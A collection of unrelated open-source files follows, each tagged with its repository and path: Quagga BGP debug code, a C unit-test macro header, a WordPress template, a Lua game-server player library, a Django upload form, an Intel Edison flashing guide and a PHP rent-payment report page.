install_element (CONFIG_NODE, &debug_bgp_update_groups_cmd);
install_element (ENABLE_NODE, &debug_bgp_bestpath_prefix_cmd);
install_element (CONFIG_NODE, &debug_bgp_bestpath_prefix_cmd);
/* debug bgp updates (in|out) */
install_element (ENABLE_NODE, &debug_bgp_update_direct_cmd);
install_element (CONFIG_NODE, &debug_bgp_update_direct_cmd);
install_element (ENABLE_NODE, &no_debug_bgp_update_direct_cmd);
install_element (CONFIG_NODE, &no_debug_bgp_update_direct_cmd);
/* debug bgp updates (in|out) A.B.C.D */
install_element (ENABLE_NODE, &debug_bgp_update_direct_peer_cmd);
install_element (CONFIG_NODE, &debug_bgp_update_direct_peer_cmd);
install_element (ENABLE_NODE, &no_debug_bgp_update_direct_peer_cmd);
install_element (CONFIG_NODE, &no_debug_bgp_update_direct_peer_cmd);
/* debug bgp updates prefix A.B.C.D/M */
install_element (ENABLE_NODE, &debug_bgp_update_prefix_cmd);
install_element (CONFIG_NODE, &debug_bgp_update_prefix_cmd);
install_element (ENABLE_NODE, &no_debug_bgp_update_prefix_cmd);
install_element (CONFIG_NODE, &no_debug_bgp_update_prefix_cmd);
/* debug bgp zebra prefix A.B.C.D/M */
install_element (ENABLE_NODE, &debug_bgp_zebra_prefix_cmd);
install_element (CONFIG_NODE, &debug_bgp_zebra_prefix_cmd);
install_element (ENABLE_NODE, &no_debug_bgp_zebra_prefix_cmd);
install_element (CONFIG_NODE, &no_debug_bgp_zebra_prefix_cmd);
install_element (ENABLE_NODE, &no_debug_bgp_as4_cmd);
install_element (CONFIG_NODE, &no_debug_bgp_as4_cmd);
install_element (ENABLE_NODE, &no_debug_bgp_as4_segment_cmd);
install_element (CONFIG_NODE, &no_debug_bgp_as4_segment_cmd);
/* debug bgp neighbor-events A.B.C.D */
install_element (ENABLE_NODE, &debug_bgp_neighbor_events_peer_cmd);
install_element (CONFIG_NODE, &debug_bgp_neighbor_events_peer_cmd);
install_element (ENABLE_NODE, &no_debug_bgp_neighbor_events_peer_cmd);
install_element (CONFIG_NODE, &no_debug_bgp_neighbor_events_peer_cmd);
/* debug bgp keepalive A.B.C.D */
install_element (ENABLE_NODE, &debug_bgp_keepalive_peer_cmd);
install_element (CONFIG_NODE, &debug_bgp_keepalive_peer_cmd);
install_element (ENABLE_NODE, &no_debug_bgp_keepalive_peer_cmd);
install_element (CONFIG_NODE, &no_debug_bgp_keepalive_peer_cmd);
install_element (ENABLE_NODE, &no_debug_bgp_neighbor_events_cmd);
install_element (CONFIG_NODE, &no_debug_bgp_neighbor_events_cmd);
install_element (ENABLE_NODE, &no_debug_bgp_nht_cmd);
install_element (CONFIG_NODE, &no_debug_bgp_nht_cmd);
install_element (ENABLE_NODE, &no_debug_bgp_keepalive_cmd);
install_element (CONFIG_NODE, &no_debug_bgp_keepalive_cmd);
install_element (ENABLE_NODE, &no_debug_bgp_update_cmd);
install_element (CONFIG_NODE, &no_debug_bgp_update_cmd);
install_element (ENABLE_NODE, &no_debug_bgp_zebra_cmd);
install_element (CONFIG_NODE, &no_debug_bgp_zebra_cmd);
install_element (ENABLE_NODE, &no_debug_bgp_allow_martians_cmd);
install_element (ENABLE_NODE, &undebug_bgp_allow_martians_cmd);
install_element (CONFIG_NODE, &no_debug_bgp_allow_martians_cmd);
install_element (ENABLE_NODE, &no_debug_bgp_update_groups_cmd);
install_element (CONFIG_NODE, &no_debug_bgp_update_groups_cmd);
install_element (ENABLE_NODE, &no_debug_bgp_cmd);
install_element (ENABLE_NODE, &no_debug_bgp_bestpath_cmd);
install_element (CONFIG_NODE, &no_debug_bgp_bestpath_cmd);
install_element (ENABLE_NODE, &no_debug_bgp_bestpath_prefix_cmd);
install_element (CONFIG_NODE, &no_debug_bgp_bestpath_prefix_cmd);
}
/* Return true if this prefix is on the per_prefix_list of prefixes to debug
* for BGP_DEBUG_TYPE
*/
static int
bgp_debug_per_prefix (struct prefix *p, unsigned long term_bgp_debug_type,
unsigned int BGP_DEBUG_TYPE, struct list *per_prefix_list)
{
struct bgp_debug_filter *filter;
struct listnode *node, *nnode;
if (term_bgp_debug_type & BGP_DEBUG_TYPE)
{
/* We are debugging all prefixes so return true */
if (!per_prefix_list || list_isempty(per_prefix_list))
return 1;
else
{
if (!p)
return 0;
for (ALL_LIST_ELEMENTS (per_prefix_list, node, nnode, filter))
if (filter->p->prefixlen == p->prefixlen && prefix_match(filter->p, p))
return 1;
return 0;
}
}
return 0;
}
/* Return true if this peer is on the per_peer_list of peers to debug
* for BGP_DEBUG_TYPE
*/
static int
bgp_debug_per_peer(char *host, unsigned long term_bgp_debug_type,
unsigned int BGP_DEBUG_TYPE, struct list *per_peer_list)
{
struct bgp_debug_filter *filter;
struct listnode *node, *nnode;
if (term_bgp_debug_type & BGP_DEBUG_TYPE)
{
/* We are debugging all peers so return true */
if (!per_peer_list || list_isempty(per_peer_list))
return 1;
else
{
if (!host)
return 0;
for (ALL_LIST_ELEMENTS (per_peer_list, node, nnode, filter))
if (strcmp (filter->host, host) == 0)
return 1;
return 0;
}
}
return 0;
}
int
bgp_debug_neighbor_events (struct peer *peer)
{
char *host = NULL;
if (peer)
host = peer->host;
return bgp_debug_per_peer (host,
term_bgp_debug_neighbor_events,
BGP_DEBUG_NEIGHBOR_EVENTS,
bgp_debug_neighbor_events_peers);
}
int
bgp_debug_keepalive (struct peer *peer)
{
char *host = NULL;
if (peer)
host = peer->host;
return bgp_debug_per_peer (host,
term_bgp_debug_keepalive,
BGP_DEBUG_KEEPALIVE,
bgp_debug_keepalive_peers);
}
int
bgp_debug_update (struct peer *peer, struct prefix *p,
struct update_group *updgrp, unsigned int inbound)
{
char *host = NULL;
if (peer)
host = peer->host;
if (inbound)
{
if (bgp_debug_per_peer (host, term_bgp_debug_update, BGP_DEBUG_UPDATE_IN,
bgp_debug_update_in_peers))
return 1;
}
/* outbound */
else
{
if (bgp_debug_per_peer (host, term_bgp_debug_update,
BGP_DEBUG_UPDATE_OUT,
bgp_debug_update_out_peers))
return 1;
/* Check if update debugging implicitly enabled for the group. */
if (updgrp && UPDGRP_DBG_ON(updgrp))
return 1;
}
if (BGP_DEBUG (update, UPDATE_PREFIX))
{
if (bgp_debug_per_prefix (p, term_bgp_debug_update,
BGP_DEBUG_UPDATE_PREFIX,
bgp_debug_update_prefixes))
return 1;
}
return 0;
}
int
bgp_debug_bestpath (struct prefix *p)
{
if (BGP_DEBUG (bestpath, BESTPATH))
{
if (bgp_debug_per_prefix (p, term_bgp_debug_bestpath,
BGP_DEBUG_BESTPATH,
bgp_debug_bestpath_prefixes))
return 1;
}
return 0;
}
int
bgp_debug_zebra (struct prefix *p)
{
if (BGP_DEBUG (zebra, ZEBRA))
{
if (bgp_debug_per_prefix (p, term_bgp_debug_zebra, BGP_DEBUG_ZEBRA,
bgp_debug_zebra_prefixes))
return 1;
}
return 0;
}
const char *
bgp_debug_rdpfxpath2str (afi_t afi, safi_t safi,
struct prefix_rd *prd, union prefixconstptr pu,
u_char *tag, int addpath_valid,
u_int32_t addpath_id, char *str, int size)
{
char rd_buf[RD_ADDRSTRLEN];
char pfx_buf[PREFIX_STRLEN];
char pathid_buf[20];
char tag_buf[30];
if (size < BGP_PRD_PATH_STRLEN)
return NULL;
/* Note: Path-id is created by default, but only included in update sometimes. */
pathid_buf[0] = '\0';
if (addpath_valid)
sprintf(pathid_buf, " with addpath ID %d", addpath_id);
tag_buf[0] = '\0';
if (tag)
{
if (safi == SAFI_MPLS_VPN)
{
u_int32_t label;
label = decode_label (tag);
sprintf (tag_buf, " label %u", label);
}
else if (afi == AFI_L2VPN && safi == SAFI_EVPN)
{
char tag_buf2[20];
sprintf (tag_buf, " VNI %s",
bgp_evpn_tag2str (tag, tag_buf2, sizeof (tag_buf2)));
}
}
if (prd)
snprintf (str, size, "RD %s %s%s%s",
prefix_rd2str(prd, rd_buf, sizeof (rd_buf)),
prefix2str (pu, pfx_buf, sizeof (pfx_buf)),
tag_buf, pathid_buf);
else
snprintf (str, size, "%s%s%s",
prefix2str (pu, pfx_buf, sizeof (pfx_buf)),
tag_buf, pathid_buf);
return str;
}
|
CumulusNetworks/quagga
|
bgpd/bgp_debug.c
|
C
|
gpl-2.0
| 59,864
|
// from http://www.jera.com/techinfo/jtns/jtn002.html
#define mu_assert(message, test) do { if (!(test)) return message; } while (0)
#define mu_run_test(test) do { char *message = test(); tests_run++; \
if (message) return message; } while (0)
extern int tests_run;
|
beta0x64/compiler
|
headers/minunit.h
|
C
|
gpl-2.0
| 298
|
/*
* This source code is a part of coLinux source package.
*
* Dan Aloni <da-x@colinux.org>, 2003 (c)
*
* The code is licensed under the GPL. See the COPYING file at
* the root directory.
*
*/
#ifndef __CO_OS_KERNEL_USER_H__
#define __CO_OS_KERNEL_USER_H__
#include <colinux/common/common.h>
/*
* Userspace access routines.
*/
co_rc_t co_copy_to_user(char *user_address, char *kernel_address, unsigned long size);
co_rc_t co_copy_from_user(char *user_address, char *kernel_address, unsigned long size);
#endif
|
da-x/colinux
|
src/colinux/os/kernel/user.h
|
C
|
gpl-2.0
| 525
|
/** Automatically generated file. DO NOT MODIFY */
package com.example.ipedo;
public final class BuildConfig {
public final static boolean DEBUG = true;
}
|
iavanish/IPedo
|
gen/com/example/ipedo/BuildConfig.java
|
Java
|
gpl-2.0
| 159
|
<?php
/**
* The template for displaying Author Archive pages.
*
* @package bluewave
* @since bluewave 1.0
*/
get_header(); ?>
<section id="primary">
<div id="content" role="main">
<?php if ( have_posts() ) : ?>
<?php
/* Queue the first post, that way we know
* what author we're dealing with (if that is the case).
*
* We reset this later so we can run the loop
* properly with a call to rewind_posts().
*/
the_post();
?>
<header class="page-header">
<h1 class="page-title author"><?php printf( __( 'Author Archives: %s', 'futureis404' ), '<span class="vcard"><a class="url fn n" href="' . get_author_posts_url( get_the_author_meta( "ID" ) ) . '" title="' . esc_attr( get_the_author() ) . '" rel="me">' . get_the_author() . '</a></span>' ); ?></h1>
</header>
<?php
/* Since we called the_post() above, we need to
* rewind the loop back to the beginning that way
* we can run the loop properly, in full.
*/
rewind_posts();
?>
<?php futureis404_content_nav( 'nav-above' ); ?>
<?php /* Start the Loop */ ?>
<?php while ( have_posts() ) : the_post(); ?>
<?php
/* Include the Post-Format-specific template for the content.
* If you want to overload this in a child theme then include a file
* called content-___.php (where ___ is the Post Format name) and that will be used instead.
*/
get_template_part( 'content', get_post_format() );
?>
<?php endwhile; ?>
<?php futureis404_content_nav( 'nav-below' ); ?>
<?php else : ?>
<article id="post-0" class="post no-results not-found">
<header class="entry-header">
<h1 class="entry-title"><?php _e( '糟糕!什么也没有找到。', 'futureis404' ); ?></h1>
</header><!-- .entry-header -->
<div class="entry-content">
<p><?php _e( '看起来我们找不到你要找的东西,也许搜索能帮你。', 'futureis404' ); ?></p>
<?php get_search_form(); ?>
</div><!-- .entry-content -->
</article><!-- #post-0 -->
<?php endif; ?>
</div><!-- #content -->
</section><!-- #primary -->
<?php get_sidebar(); ?>
<?php get_footer(); ?>
|
jamesyjz/wordpress
|
wp-content/themes/blue/author.php
|
PHP
|
gpl-2.0
| 2,290
|
local foodCondition = Condition(CONDITION_REGENERATION, CONDITIONID_DEFAULT)
function Player:feed(food)
local condition = self:getCondition(CONDITION_REGENERATION, CONDITIONID_DEFAULT)
if condition then
condition:setTicks(condition:getTicks() + (food * 1000))
else
local vocation = self:getVocation()
if not vocation then
return nil
end
foodCondition:setTicks(food * 1000)
foodCondition:setParameter(CONDITION_PARAM_HEALTHGAIN, vocation:getHealthGainAmount())
foodCondition:setParameter(CONDITION_PARAM_HEALTHTICKS, vocation:getHealthGainTicks() * 1000)
foodCondition:setParameter(CONDITION_PARAM_MANAGAIN, vocation:getManaGainAmount())
foodCondition:setParameter(CONDITION_PARAM_MANATICKS, vocation:getManaGainTicks() * 1000)
self:addCondition(foodCondition)
end
return true
end
function Player:getClosestFreePosition(position, extended)
if self:getGroup():getAccess() then
return position
end
return Creature.getClosestFreePosition(self, position, extended)
end
function Player:getDepotItems(depotId)
return self:getDepotChest(depotId, true):getItemHoldingCount()
end
function Player:getLossPercent()
local blessings = 0
local lossPercent = {
[0] = 100,
[1] = 70,
[2] = 45,
[3] = 25,
[4] = 10,
[5] = 0
}
for i = 1, 5 do
if self:hasBlessing(i) then
blessings = blessings + 1
end
end
return lossPercent[blessings]
end
function Player:isPremium()
return self:getPremiumDays() > 0 or configManager.getBoolean(configKeys.FREE_PREMIUM)
end
function Player:sendCancelMessage(message)
if type(message) == "number" then
message = Game.getReturnMessage(message)
end
return self:sendTextMessage(MESSAGE_STATUS_SMALL, message)
end
function Player:isUsingOtClient()
return self:getClient().os >= CLIENTOS_OTCLIENT_LINUX
end
function Player:sendExtendedOpcode(opcode, buffer)
if not self:isUsingOtClient() then
return false
end
local networkMessage = NetworkMessage()
networkMessage:addByte(0x32)
networkMessage:addByte(opcode)
networkMessage:addString(buffer)
networkMessage:sendToPlayer(self, true)
networkMessage:delete()
return true
end
APPLY_SKILL_MULTIPLIER = true
local addSkillTriesFunc = Player.addSkillTries
function Player:addSkillTries(...)
APPLY_SKILL_MULTIPLIER = false
local ret = addSkillTriesFunc(...)
APPLY_SKILL_MULTIPLIER = true
return ret
end
local addManaSpentFunc = Player.addManaSpent
function Player:addManaSpent(...)
APPLY_SKILL_MULTIPLIER = false
local ret = addManaSpentFunc(...)
APPLY_SKILL_MULTIPLIER = true
return ret
end
|
paulosalvatore/maruim_server
|
data/lib/core/player.lua
|
Lua
|
gpl-2.0
| 2,540
|
{% extends "base.html" %}
{% block content %}
<div class="jumbotron">
<div class="container">
<h1>Upload <small>{{project.description}}</small></h1>
</div>
</div>
<div class="container">
<div class="row">
<form role="form" method="POST" enctype="multipart/form-data">
<div class="form-group">
<label for="file">Documento</label>
<input type="file" class="form-control" id="file" name="file" placeholder="Documento">
</div>
<div class="form-group">
<label for="file_type">Tipo</label>
<select type="text" class="form-control" id="file_type" name="filetype" placeholder="Tipo">
<option value="img">Immagine</option>
<option value="vid">Video</option>
<option value="pdf">Documento</option>
<option value="oth">Altro</option>
</select>
</div>
<div class="form-group">
<label for="date">Data</label>
<input type="date" class="form-control" id="date" name="date" placeholder="Data">
</div>
<button type="submit" class="btn btn-default btn-success"><i class="fa fa-fw fa-plus"></i>Aggiungi</button>
</form>
</div>
</div>
{% endblock %}
|
Monithon/Monithon-2.0
|
uploads/templates/upload.html
|
HTML
|
gpl-2.0
| 1,143
|
# Pre-Work
>Knowledge of the Linux terminal is mandatory.
>Ubuntu Linux 15.04 is used, and all command line instructions are done in the default terminal of Ubuntu.
## IoT DevKit 3.0
>For this tutorial we are going to use the Intel® IoT Developer Kit v3.0 release dated in 20160315. [You can click here to download the image,](https://downloadmirror.intel.com/25871/eng/iot-devkit-prof-dev-image-edison-20160315.zi or copy and paste the following link https://downloadmirror.intel.com/25871/eng/iot-devkit-prof-dev-image-edison-20160315.zip , this version is used because the OS images and repositories are updated to include several popular and useful packages for development, such as Git, Vim, Nano, IoTivity, pip, and many more.
>For the release notes access the following page: [https://software.intel.com/en-us/blogs/2016/03/30/intel-iot-developer-kit-30-release-notes](https://software.intel.com/en-us/blogs/2016/03/30/intel-iot-developer-kit-30-release-notes)
>Unzip the zipped file just downloaded and access the folder.
>In a terminal make sure there is the flashall.sh script file, type ```ls | grep flashall.sh``` and you should see the name flashall.sh as a result.
>
>Plugin the Intel Edison board to the computer and make sure both USB cables are pluged in.
>Run the script typing ```./flashall.sh```, follow on-screen instructions and verify the following output is the same as the one below.
>
>Type ```sudo screen /dev/ttyUSB0 115200``` to enter the Edison through the terminal, if screen is not installed install it with ```sudo apt-get install screen```.
>At this moment, the Edison will ask for the edison login, type ```root``` and now we are in our Edison. If this is not the case, verify you followed all the steps above correctly and typed ```root``` right.
|
TheIoTLearningInitiative/InternetOfThingsIoTivity
|
documentation/pre-work.md
|
Markdown
|
gpl-2.0
| 1,847
|
<?php
session_start();
if (!(isset($_SESSION['login']) && $_SESSION['login'] != ''))
{header ("Location: ../security/login_user.php");}
switch($_SESSION['login'])
{
case "super": break;
case "write":break;
case "read":break;
default:
echo("
<script type='text/javascript'>
alert('You are not logged in.');
window.location='../security/login_user.php';
</script>
");
}
// Set timezone
date_default_timezone_set("America/Chicago");
include("../jackets/db_connect.php"); //==OPEN DATABASE===
if ($_SERVER['REQUEST_METHOD'] == 'POST')
{
//===GET POSTS========================================================================
$errorMessage="";
$payment_type="";
$payment_type = htmlspecialchars($_POST["payment_type"],ENT_QUOTES);
if(strlen($payment_type)>20){$errorMessage = "Failure";}
$paid_unpaid = htmlspecialchars($_POST["paid_unpaid"],ENT_QUOTES);
if(strlen($paid_unpaid)>20){$errorMessage = "Failure";}
$month01="";
$month01 = htmlspecialchars($_POST["month01"],ENT_QUOTES);
if(strlen($month01)>10){$errorMessage = "Failure";}
$year01="";
$year01 = htmlspecialchars($_POST["year01"],ENT_QUOTES);
if(strlen($year01)>10){$errorMessage = "Failure";}
$month02 = "";
$month02 = htmlspecialchars($_POST["month02"],ENT_QUOTES);
if(strlen($month02)>10){$errorMessage = "Failure";}
$year02="";
$year02 = htmlspecialchars($_POST["year02"],ENT_QUOTES);
if(strlen($year02)>10){$errorMessage = "Failure";}
$unit="";
$unit = htmlspecialchars($_POST["unit"],ENT_QUOTES);
if(strlen($unit)>10){$errorMessage = "Failure";}
//===ASSEMBLE DATES====================================================================
$start_date = $year01."-".$month01;
if($month02 != "")
{$end_date = $year02."-".$month02;}
else
{$end_date = "no";}
//===START HEADER FOR TABLES============================================================
if($end_date == "no")
{
$header = "Charges due for ".$month01."/".$year01;
$header02 = "Payments made during ".$month01."/".$year01;
}
else
{
$header = "Charges due for ".$month01."/".$year01." through ".$month02."/".$year02;
$header02 = "Payments made during ".$month01."/".$year01." through ".$month02."/".$year02;
}
if($errorMessage=="")
{
if($month01!="")
{
if($db_found)
{
//===CREATE COLUMN NAMES==============================================================================
$column_names = Array("payment_id","schedule_type","last","first","unit","building","date_due",
"date_paid","amount","amount_paid","amount_due");
$column_data_out = implode(",",$column_names);
////////////////////////////////////////////////////////////////////////////////////////////////
//=== GET DATE FOR CHARGES (AND PAYMENTS WHERE SIMILAR) =========
////////////////////////////////////////////////////////////////////////////////////////////////
//===GET ALL FIELDS FROM PAYMENT TABLE================================================================
//===WITHIN WHILE LOOP GET VALUES FROM OTHER TABLES===================================================
$field_data = Array();
$sql = "SELECT * FROM payments ORDER BY schedule_type;";
$result = mysql_query($sql);
$total_amount=0; // TOTAL AMOUNT===================
$total_amount_paid=0; // TOTAL AMOUNT PAID==============
$total_amount_outstanding=0; // TOTAL AMOUNT OUTSTANDING=======
while($row_payment = mysql_fetch_assoc($result)) //loop through payments in payment table
{
//===SELECT DATES FOR PERIOD==========================================================================
$date_due_array = explode("-",$row_payment['date_due']);
$check_date = "no";
if($end_date=="no")
{
if($year01==$date_due_array[0] && $month01==$date_due_array[1])
{
$check_date = "yes";
}
}
else
{
if($year01==$year02)
{
if($date_due_array[0]==$year01 && $date_due_array[1]>=$month01 && $date_due_array[1]<=$month02)
{
$check_date = "yes";
}
}
else
{
if($date_due_array[0]==$year01 && $date_due_array[1]>=$month01)
{
$check_date = "yes";
}
if($date_due_array[0]==$year02 && $date_due_array[1]<=$month02)
{
$check_date = "yes";
}
if($date_due_array[0]>$year01 && $date_due_array[0]<$year02)
{
$check_date = "yes";
}
}
} // end check date
//===IF DATE, PAYMENT TYPE, AND UNIT ARE CORRECT, PUSH DATA INTO ARRAY $field_data==========================
if($check_date=="yes")
{
if( ($row_payment['schedule_type']==$payment_type) || ($payment_type=="all") )
{
$row_array = Array();
$schedule_id = $row_payment['schedule_id'];
array_push($row_array,$row_payment['payment_id']);
array_push($row_array,$row_payment['schedule_type']);
//===GET CUSTOMER DATA FROM CUSTOMERS TABLE===========================================================
$customer_id = $row_payment['customer_id'];
$sql = "SELECT last, first FROM customers WHERE customerID=$customer_id;";
$result_customers = mysql_query($sql);
$row_customer = mysql_fetch_assoc($result_customers);
array_push($row_array,$row_customer['last']);
array_push($row_array,$row_customer['first']);
//===GET CUSTOMER UNIT FROM UNITS TABLE================================================================
$sql = "SELECT * FROM units;";
$result_units = mysql_query($sql);
$hold_unit = "";
$hold_unit_check = "";
while($row_unit = mysql_fetch_assoc($result_units))
{
if($row_unit['current_tenant01']==$customer_id || $row_unit['current_tenant02']==$customer_id || $row_unit['current_tenant03']==$customer_id || $row_unit['current_tenant04']==$customer_id || $row_unit['current_tenant05']==$customer_id)
{
if(!strpos($hold_unit,$row_unit['unit']))
{
if($hold_unit == "")
{
$hold_unit = $row_unit['unit'];
$hold_unit_check = $row_unit['unit'];
}
else
{}
// {$hold_unit = $hold_unit."/".$row_unit['unit'];}
}
}
}
array_push($row_array,$hold_unit);
array_push($row_array,"51 E. John");
//===PUSH PAYMENT DATES=========================================================================
array_push($row_array,$row_payment['date_due']);
$row_paid_total = 0;
$date_paid = "";
for($i=0;$i<12;$i++)
{
if($i<9)
{
$name_paid="amount_paid0".($i+1);
$name_date="date_paid0".($i+1);
}
else
{
$name_paid="amount_paid".($i+1);
$name_date="date_paid".($i+1);
}
if($row_payment[$name_date]!=0)
{
$row_paid_total = $row_paid_total + $row_payment[$name_paid];
$date_paid = $row_payment[$name_date];
}
}
array_push($row_array,$date_paid);
array_push($row_array,$row_payment['amount']);
array_push($row_array,$row_paid_total);
$amount_due = $row_payment['amount']-$row_paid_total;
array_push($row_array,$amount_due);
//===PUSH 1D ROW INTO 2D FIELD DATA / UPDATE TOTALS=====================================================
if($paid_unpaid=="all" || ($paid_unpaid=="paid" && $amount_due==0)
|| ($paid_unpaid=="unpaid" && $amount_due!=0))
{array_push($field_data,$row_array);}
$total_amount += $row_payment['amount'];
$total_amount_paid += $row_paid_total;
}// end if correct schedule type
}// end if $check_date
}// end while rows from payment table
//===END WHILE THROUGH PAYMENTS=========================================================================
//===IMPLODE DATA FOR JAVASCRIPT========================================================================
$field_data_out = Array();
$field_data_hold = Array();
foreach($field_data as $row_field_data)
{
$hold = implode(",",$row_field_data);
if($hold!="")
{
array_push($field_data_hold,$hold);
}
}
$field_data_out = implode(";",$field_data_hold);
////////////////////////////////////////////////////////////////////////////////////////////////
//=== GET DATA FOR PAYMENTS =========
////////////////////////////////////////////////////////////////////////////////////////////////
//===GET ALL FIELDS FROM CHECKS TABLE================================================================
//===WITHIN WHILE LOOP GET VALUES FROM OTHER TABLES===================================================
//===CREATE COLUMN NAMES==============================================================================
$column_names02 = array("Check ID","Amount","Date Paid","Last","First","Unit","Payment ID","Amount","Date Due","Payment Type");
$column_data02_out = implode(",",$column_names02);
$field_data02 = array();
$sql = "SELECT * FROM checks ORDER BY check_id;";
$result = mysql_query($sql);
while($row_checks=mysql_fetch_assoc($result))
{//print_r($row_checks);echo("</br>");;
//===SELECT DATES FOR PERIOD==========================================================================
$date_paid_array = explode("-",$row_checks['date']);
$check_date = "no";
if($end_date=="no")
{
if($year01==$date_paid_array[0] && $month01==$date_paid_array[1])
{$check_date = "yes";}
}
else
{
if($year01==$year02)
{
if($date_paid_array[0]==$year01 && $date_paid_array[1]>=$month01 && $date_paid_array[1]<=$month02)
{$check_date = "yes";}
}
else
{
if($date_paid_array[0]==$year01 && $date_paid_array[1]>=$month01)
{ $check_date = "yes";}
if($date_paid_array[0]==$year02 && $date_paid_array[1]<=$month02)
{$check_date = "yes";}
if($date_paid_array[0]>$year01 && $date_paid_array[0]<$year02)
{$check_date = "yes";}
}
} // end check date
//===IF DATE, PAYMENT TYPE, AND UNIT ARE CORRECT, PUSH DATA INTO ARRAY $field_data==========================
if($check_date=="yes")
{
$row_array02 = array();
for($i=1;$i<9;$i++)
{
if($i<10)
{$payment_id_name="payment_id0".$i;}
else
{$payment_id_name="payment_id0".$i;}
$payment_id = $row_checks[$payment_id_name];
if($payment_id != 0)
{
$sql02 = "SELECT * FROM payments WHERE payment_id='$payment_id';";
$result02 = mysql_query($sql02);
while($row_payment = mysql_fetch_assoc($result02))
{
$row_paid_total = 0;
$date_paid = "";
$payment_count = 1;
for($j=0;$j<12;$j++)
{
if($j<9)
{
$name_paid="amount_paid0".($j+1);
$name_date="date_paid0".($j+1);
}
else
{
$name_paid="amount_paid".($j+1);
$name_date="date_paid".($j+1);
}
if($row_payment[$name_date]!=0)
{
$row_paid_total = $row_paid_total + $row_payment[$name_paid];
$date_paid = $row_payment[$name_date];
}
}
$sql03 = "SELECT * FROM customers WHERE customerID=".$row_payment['customer_id'].";";
$result03 = mysql_query($sql03);
$row_customers = mysql_fetch_assoc($result03);
//===GET CUSTOMER UNIT FROM UNITS TABLE================================================================
$sql = "SELECT * FROM units;";
$result_units = mysql_query($sql);
$hold_unit = "";
$hold_unit_check = "";
while($row_unit = mysql_fetch_assoc($result_units))
{
if($row_unit['current_tenant01']==$customer_id || $row_unit['current_tenant02']==$customer_id || $row_unit['current_tenant03']==$customer_id || $row_unit['current_tenant04']==$customer_id || $row_unit['current_tenant05']==$customer_id)
{
if(!strpos($hold_unit,$row_unit['unit']))
{
if($hold_unit == "")
{
$hold_unit = $row_unit['unit'];
$hold_unit_check = $row_unit['unit'];
}
else
{}
// {$hold_unit = $hold_unit."/".$row_unit['unit'];}
}
}
}
$row_array02 = array($row_checks['check_id'],$row_checks['amount'],$date_paid,
$row_customers['last'],$row_customers['first'],
$hold_unit,$payment_id,$row_paid_total,
$row_payment['date_due'],$row_payment['schedule_type']);
array_push($field_data02,$row_array02);
$payment_count = $payment_count+1;
}//==end while $row_payment
}// end if payment exists
}//end for through all payments for a check
}// end if $check_date
}//===END WHILE CHECKS===
//===END WHILE THROUGH PAYMENTS=========================================================================
//===IMPLODE DATA FOR JAVASCRIPT========================================================================
$field_data02_out = Array();
$field_data02_hold = Array();
foreach($field_data02 as $row_field_data02)
{
$hold = implode(",",$row_field_data02);
if($hold!="")
{
array_push($field_data02_hold,$hold);
}
}
$field_data02_out = implode(";",$field_data02_hold);
mysql_close($db_handle);
}//end if db_found
}// if customer id exists
} //end if no length error
else
{header('Location: ./login_user.php');}//end if length error message
}// end if request post
?>
<!--===END PHP==================================================================-->
<!--============================================================================-->
<!--===START HTML===============================================================-->
<html>
<head>
<link rel="stylesheet" type="text/css" href="../style/style.css" />
<script type="text/javascript" src="../functions/report_table.js"></script>
<link href="../functions/calendar/calendar/calendar.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../functions/calendar/calendar/calendar.js"></script>
<title>Create Report for Time Period</title>
</head>
<body>
<div class='top'>
<font class='main'>
Create Report for Time Period
</font>
</div>
<?php include("../jackets/main_jacket.php");
?>
<div class="main">
<div class="text_in">
<div class="box_width">
<font class="box_head">Create Report</font></br>
<hr class="box_line">
<!--===START FORM===============================================================-->
<form name="customer_search_form" method="post" action="output_report_period01.php">
<table class="input">
<tr><td>Beginning Period</td>
<td>
<select name="month01">
<option></option>
<option value="1">January</option>
<option value="2">February</option>
<option value="3">March</option>
<option value="4">April</option>
<option value="5">May</option>
<option value="6">June</option>
<option value="7">July</option>
<option value="8">August</option>
<option value="9">September</option>
<option value="10">October</option>
<option value="11">November</option>
<option value="12">December</option>
</select>
</td>
<td>
<select name="year01">
<option></option>
<option value="2012">2012</option>
<option value="2013">2013</option>
<option value="2014">2014</option>
<option value="2015">2015</option>
<option value="2016">2016</option>
<option value="2017">2017</option>
<option value="2018">2018</option>
<option value="2019">2019</option>
<option value="2020">2020</option>
<option value="2021">2021</option>
</select>
</td>
</td>
<tr><td>Ending Period</td>
<td>
<select name="month02">
<option></option>
<option value="1">January</option>
<option value="2">February</option>
<option value="3">March</option>
<option value="4">April</option>
<option value="5">May</option>
<option value="6">June</option>
<option value="7">July</option>
<option value="8">August</option>
<option value="9">September</option>
<option value="10">October</option>
<option value="11">November</option>
<option value="12">December</option>
</select>
</td>
<td>
<select name="year02">
<option></option>
<option value="2012">2012</option>
<option value="2013">2013</option>
<option value="2014">2014</option>
<option value="2015">2015</option>
<option value="2016">2016</option>
<option value="2017">2017</option>
<option value="2018">2018</option>
<option value="2019">2019</option>
<option value="2020">2020</option>
<option value="2021">2021</option>
</select>
</td>
</tr>
<!--===SELECT PAYMENT TYPE TO VIEW==============================================-->
<tr><td>Select Payment Types:</td>
<td>
<select name="payment_type">
<option value="all" selected="selected">All</option>
<option value="rent">Rent</option>
<option value="deposit">Deposit</option>
<option value="onetime">Onetime</option>
<option value="key_deposit">Key Deposit</option>
<option value="parking_key_deposit">Parking Key Deposit</option>
<option value="parking_monthly">Parking, Monthly</option>
<option value="parking_prepay">Parking, Prepay</option>
<option value="utilities_overage">Utilities Overage</option>
</select>
</td>
</tr>
<!--===SELECT PAID OR UNPAID==============================================-->
<tr><td>Select Paid or Unpaid:</td>
<td>
<select name="paid_unpaid">
<option value="all" selected="selected">All</option>
<option value="paid">Paid</option>
<option value="unpaid">Unpaid</option>
</select>
</td>
</tr>
<!--===SELECT UNIT TO VIEW=========================================-->
<!--
<tr><td>Unit:</td>
<td>
<select name="unit">
<option value="all" selected="selected">All</option>
<option value="102">102</option>
<option value="103">103</option>
<option value="104">104</option>
<option value="105">105</option>
<option value="106">106</option>
<option value="107">107</option>
<option value="108">108</option>
<option value="109">109</option>
<option value="110">110</option>
<option value="111">111</option>
<option value="112">112</option>
<option value="113">113</option>
<option value="114">114</option>
<option value="115">115</option>
<option value="116">116</option>
<option value="117">117</option>
<option value="118">118</option>
<option value="202">202</option>
<option value="203">203</option>
<option value="204">204</option>
<option value="205">205</option>
<option value="206">206</option>
<option value="207">207</option>
<option value="208">208</option>
<option value="209">209</option>
<option value="210">210</option>
<option value="211">211</option>
<option value="212">212</option>
<option value="213">213</option>
<option value="214">214</option>
<option value="215">215</option>
<option value="216">216</option>
<option value="217">217</option>
